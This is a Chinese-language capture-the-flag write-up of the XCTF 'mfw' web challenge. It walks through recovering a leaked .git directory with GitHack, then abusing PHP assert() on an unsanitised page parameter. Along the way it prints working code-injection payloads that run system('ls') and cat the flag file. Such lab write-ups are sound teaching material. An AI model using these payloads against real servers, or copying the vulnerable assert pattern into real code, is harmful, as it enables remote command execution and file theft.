XCTF-web-mfw
访问主页
经过发现page
传参应该是一个文件包含页面,不过没有加后缀名
,应该是在服务端会自动给我们加上
试了文件包含的data://
协议,还有%00
阶段没有成功,使用dirb
进行目录爆破
得到.git
目录,应该是.git
泄露,使用GitHack
获取
python2 GitHack.py http://61.147.171.105:60868/.git
得到index.php
和templates
,得到index.php源码
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
上述中有一个危险函数assert()
,他会将函数中的字符串当做PHP
代码执行,而我们可以直接传入$file
,就像闭合sql
语句一样闭合该PHP代码
根据第一条
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
pyaload为'.system('ls').'
,尝试执行使用system()
函数调用系统命令ls
执行成功,尝试继续执行获取flag
?page='.system('cat flag.php').'
这里失败了,因为下方还有一段php
代码
assert("file_exists('$file')") or die("That file doesn't exist!");
需要同时绕过这两条才可以执行命令,经过一番测试,得到下方的`payload
').system("ls");//
原代码和传入后的比较
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("strpos('').system("ls");//', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
assert("file_exists('').system("ls");//)") or die("That file doesn't exist!");
传入payload
测试
成功查看文件,尝试获取templates/flag.php
内容
?page=').system("cat templates/flag.php");//